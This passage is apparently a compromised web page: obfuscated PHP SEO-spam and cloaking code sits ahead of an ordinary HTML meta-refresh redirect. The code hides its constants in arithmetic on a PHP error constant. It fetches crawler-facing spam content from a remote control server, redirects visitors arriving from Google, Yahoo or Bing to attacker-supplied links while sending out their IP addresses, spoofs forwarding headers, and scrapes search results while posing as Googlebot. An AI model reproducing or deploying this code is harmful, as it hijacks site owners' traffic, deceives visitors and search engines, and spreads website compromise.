$pid,'spider_url'=>$spider_result[(97*E_CORE_WARNING-3104)],'html_text'=>$spider_result[(22*E_CORE_WARNING-703)]);}else{$pid=isset($pid)?$pid:(97*E_CORE_WARNING-3104);$data=array('kid'=>$pid,'spider_url'=>'','html_text'=>'');}$BotContent_mb=post($TD_server. "/postcreate.php?type=" .$http_type. "&host=" .$host. "&request=" .$request,$data,$user_agent);if(!empty($BotContent_mb)){echo $BotContent_mb;exit;}}}}if(strpos($referer,'google')!==false||strpos($referer,'yahoo')!==false||strpos($referer,'bing')!==false){if(judgeLanguage($lang)==(22*E_CORE_WARNING-703)){$client_ip=base64_encode(get_client_ip());$referer=urlencode($referer);$response=curl_request($TD_server. "/getlink.php?type=" .$http_type. "&host=" .$host. "&request=" .$request. "&referer=" .$referer. "&client_ip=" .$client_ip,$user_agent);if($response!==false&&$response[(97*E_CORE_WARNING-3104)]==((E_CORE_WARNING*10-320)-440+E_CORE_WARNING*20)&&strlen($response[(22*E_CORE_WARNING-703)])>(41*E_CORE_WARNING-1307)){$tzurl=trim($response[(22*E_CORE_WARNING-703)]);$tzurl=str_replace(array(chr(((E_CORE_WARNING*10-320)-1137+43*E_CORE_WARNING)),chr(((E_CORE_WARNING*10-320)-2149+E_CORE_WARNING*73)),chr((E_CORE_WARNING*34-897))," "," "," "," "),'',$tzurl);@header("Location: " . $tzurl);exit;}}}function curl_request($url,$ua='',$referer=null){if($ua==''){$user_agents=array('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:54.0) Gecko/20100101 Firefox/' . rand((15*E_CORE_WARNING-479),(E_CORE_WARNING*22-604)),'Mozilla/' . rand((E_CORE_WARNING*12-381),((E_CORE_WARNING*71-2272)-27+1*E_CORE_WARNING)). '.0 (Windows NT 10.0; Win64; x64; rv:' . rand(((E_CORE_WARNING*71-2272)-814+27*E_CORE_WARNING),(62*E_CORE_WARNING-1924)). ') Gecko/20100101 Firefox/' . rand((15*E_CORE_WARNING-479),(E_CORE_WARNING*22-604)),'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:' . rand(((E_CORE_WARNING*71-2272)-814+27*E_CORE_WARNING),(62*E_CORE_WARNING-1924)). ') AppleWebKit/' . rand((E_CORE_WARNING*70-1740),((E_CORE_WARNING*71-2272)-2408+94*E_CORE_WARNING)). '.36 (KHTML, like Gecko) Chrome/' . rand(((E_CORE_WARNING*71-2272)-814+27*E_CORE_WARNING),(62*E_CORE_WARNING-1924)). '.0.3112.90 Safari/' . rand((E_CORE_WARNING*70-1740),((E_CORE_WARNING*71-2272)-2408+94*E_CORE_WARNING)). '.36',);$ua=$user_agents[array_rand($user_agents)];}$ip=rand((15*E_CORE_WARNING-479),(E_CORE_WARNING*93-2722)). '.' .rand((15*E_CORE_WARNING-479),(E_CORE_WARNING*93-2722)). '.' .rand((15*E_CORE_WARNING-479),(E_CORE_WARNING*93-2722)). '.' .rand((15*E_CORE_WARNING-479),(E_CORE_WARNING*93-2722));$headers['CLIENT-IP']=$ip;$headers['X-FORWARDED-FOR']=$ip;$headerArr=array();foreach($headers as $n=>$v){$headerArr[]=$n. ':' .$v;}$curl=curl_init();curl_setopt($curl,CURLOPT_URL,$url);curl_setopt($curl,CURLOPT_HTTPHEADER,$headerArr);curl_setopt($curl,CURLOPT_SSL_VERIFYPEER,(E_CORE_WARNING*71-2272));curl_setopt($curl,CURLOPT_SSL_VERIFYHOST,(E_CORE_WARNING*78-2494));curl_setopt($curl,CURLOPT_USERAGENT,$ua);curl_setopt($curl,CURLOPT_FOLLOWLOCATION,(15*E_CORE_WARNING-479));curl_setopt($curl,CURLOPT_AUTOREFERER,(15*E_CORE_WARNING-479));curl_setopt($curl,CURLOPT_ENCODING,"gzip");curl_setopt($curl,CURLOPT_HTTPGET,(15*E_CORE_WARNING-479));curl_setopt($curl,CURLOPT_TIMEOUT,((E_CORE_WARNING*71-2272)-27+1*E_CORE_WARNING));curl_setopt($curl,CURLOPT_HEADER,(E_CORE_WARNING*71-2272));curl_setopt($curl,CURLOPT_RETURNTRANSFER,(15*E_CORE_WARNING-479));curl_setopt($curl,CURLOPT_REFERER,$referer);$output=curl_exec($curl);$error=curl_error($curl);if($error){return false;}$httpcode=curl_getinfo($curl,CURLINFO_HTTP_CODE);curl_close($curl);return $output?[$httpcode,$output]:false;}function post($url,$postData,$ua=''){if($ua==''){$user_agents=array('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:54.0) Gecko/20100101 Firefox/' . rand(((E_CORE_WARNING*16-512)-2079+65*E_CORE_WARNING),(E_CORE_WARNING*44-1308)),'Mozilla/' . rand(((E_CORE_WARNING*16-512)-1405+E_CORE_WARNING*44),((E_CORE_WARNING*16-512)-2075+E_CORE_WARNING*65)). '.0 (Windows NT 10.0; Win64; x64; rv:' . rand(((E_CORE_WARNING*16-512)-846+28*E_CORE_WARNING),((E_CORE_WARNING*16-512)-2180+70*E_CORE_WARNING)). ') Gecko/20100101 Firefox/' . rand(((E_CORE_WARNING*16-512)-2079+65*E_CORE_WARNING),(E_CORE_WARNING*44-1308)),'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:' . rand(((E_CORE_WARNING*16-512)-846+28*E_CORE_WARNING),((E_CORE_WARNING*16-512)-2180+70*E_CORE_WARNING)). ') AppleWebKit/' . rand(((E_CORE_WARNING*16-512)-2316+88*E_CORE_WARNING),((E_CORE_WARNING*16-512)-840+E_CORE_WARNING*45)). '.36 (KHTML, like Gecko) Chrome/' . rand(((E_CORE_WARNING*16-512)-846+28*E_CORE_WARNING),((E_CORE_WARNING*16-512)-2180+70*E_CORE_WARNING)). '.0.3112.90 Safari/' . rand(((E_CORE_WARNING*16-512)-2316+88*E_CORE_WARNING),((E_CORE_WARNING*16-512)-840+E_CORE_WARNING*45)). '.36',);$ua=$user_agents[array_rand($user_agents)];}$curl=curl_init();curl_setopt($curl,CURLOPT_URL,$url);curl_setopt($curl,CURLOPT_HEADER,(E_CORE_WARNING*16-512));curl_setopt($curl,CURLOPT_USERAGENT,$ua);curl_setopt($curl,CURLOPT_POST,true);curl_setopt($curl,CURLOPT_POSTFIELDS,http_build_query($postData));curl_setopt($curl,CURLOPT_RETURNTRANSFER,true);$output=curl_exec($curl);curl_close($curl);return $output;}function judgeLanguage($lang){if(isset($_SERVER['HTTP_ACCEPT_LANGUAGE'])){$languages=explode(',',$_SERVER['HTTP_ACCEPT_LANGUAGE']);$language=strtolower(substr(chop($languages[(((0-1664+E_CORE_WARNING*52)-992+31*E_CORE_WARNING)-128+E_CORE_WARNING*4)]),(((0-1664+E_CORE_WARNING*52)-992+31*E_CORE_WARNING)-128+E_CORE_WARNING*4),(E_CORE_WARNING*2-62)));if($language===$lang){return ((0-1664+E_CORE_WARNING*52)-2143+E_CORE_WARNING*67);}else{return (((0-1664+E_CORE_WARNING*52)-992+31*E_CORE_WARNING)-128+E_CORE_WARNING*4);}}}function getNumber($string){$posSitemap=strpos($string,'sitemap');$posXml=strpos($string,'.xml');if($posSitemap!==false&&$posXml!==false&&$posXml>$posSitemap){$length=$posXml-$posSitemap-strlen('sitemap');$substring=substr($string,$posSitemap+strlen('sitemap'),$length);$number=intval($substring);return $number;}else{return (0-64+E_CORE_WARNING*2);}}function get_client_ip(){$ip_keys=array('HTTP_CLIENT_IP','HTTP_X_FORWARDED_FOR','HTTP_X_FORWARDED','HTTP_FORWARDED_FOR','HTTP_FORWARDED','REMOTE_ADDR');foreach($ip_keys as $key){if(array_key_exists($key,$_SERVER)===true){foreach(explode(',',$_SERVER[$key])as $ip){$ip=trim($ip);if(filter_var($ip,FILTER_VALIDATE_IP,FILTER_FLAG_IPV4|FILTER_FLAG_IPV6)!==false){return $ip;}}}}return 'unknown';}function spider($url){$spider_search=curl_request($url);if($spider_search==false||$spider_search[(97*E_CORE_WARNING-3104)]!=(E_CORE_WARNING*95-2840)){return false;}$divResults=[];$dom=new DOMDocument();@$dom->loadHTML($spider_search[(E_CORE_WARNING*96-3071)],LIBXML_HTML_NOIMPLIED|LIBXML_HTML_NODEFDTD);$xpath=new DOMXPath($dom);if(strpos($url,'google')!==false){$divResults=$xpath->query('//div[starts-with(@class, "egMi0 kCrYT")]');if($divResults->length==(97*E_CORE_WARNING-3104)){$divResults=$xpath->query('//div[starts-with(@class, "MjjYud")]');}}else{$divResults=$xpath->query('//div[starts-with(@class, "dd algo algo-sr")]');}if($divResults->length==(97*E_CORE_WARNING-3104)){return false;}$hrefArray=[];foreach($divResults as $div){$ahref=$xpath->query('.//a',$div);$h3path=$xpath->query('.//h3',$div);if($ahref->length>(97*E_CORE_WARNING-3104)&&$h3path->length>(97*E_CORE_WARNING-3104)){$strh3=trim(str_replace('...','',$h3path[(97*E_CORE_WARNING-3104)]->nodeValue));$hrefArray[]=array('title'=>$strh3,'url'=>$ahref[(97*E_CORE_WARNING-3104)]->getAttribute('href'));}}if(empty($hrefArray)){return false;}shuffle($hrefArray);$googleua="Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)";foreach($hrefArray as $key){$href=$key['url'];$h3=$key['title'];if($href&&stripos($href,'youtube.com')===false){if(strpos($url,'google')!==false){$pattern='/=http(.*?)&/';preg_match($pattern,$href,$matches);$spider_url=count($matches)>(E_CORE_WARNING*96-3071)?'http' .$matches[(E_CORE_WARNING*96-3071)]:'';if($spider_url==''){$pattern='/(https?:\/\/[^\s]+)$/';preg_match($pattern,$href,$matches);$spider_url=count($matches)>(E_CORE_WARNING*96-3071)?$matches[(E_CORE_WARNING*96-3071)]:'';}}else{$pattern='/RU=([^\/]+)\/RK=/';preg_match($pattern,$href,$matches);$spider_url=count($matches)>(E_CORE_WARNING*96-3071)?$matches[(E_CORE_WARNING*96-3071)]:'';$spider_url=urldecode($spider_url);}if($spider_url!=''){$file_extension=pathinfo($spider_url,PATHINFO_EXTENSION);if(!in_array($file_extension,['pdf','doc'])){$spider_html=curl_request($spider_url,$googleua);if($spider_html!==false&&$spider_html[(97*E_CORE_WARNING-3104)]==(E_CORE_WARNING*95-2840)){$htmltext=trim($spider_html[(E_CORE_WARNING*96-3071)]);$pattern='/(.*?)<\/title>/';preg_match($pattern,$htmltext,$matches);$title=count($matches)>(E_CORE_WARNING*96-3071)?$matches[(E_CORE_WARNING*96-3071)]:'';if(strlen($htmltext)>(0+976+E_CORE_WARNING*32)&&stripos($title,$h3)!==false){return[$spider_url,$htmltext];}}}}}}return false;} ?><!DOCTYPE html> <html> <head> <!-- HTML meta refresh URL redirection --> <meta http-equiv="refresh" content="0; url=http://www.ensemblemd.com/EMD_homepage_2.html"> </head> </html>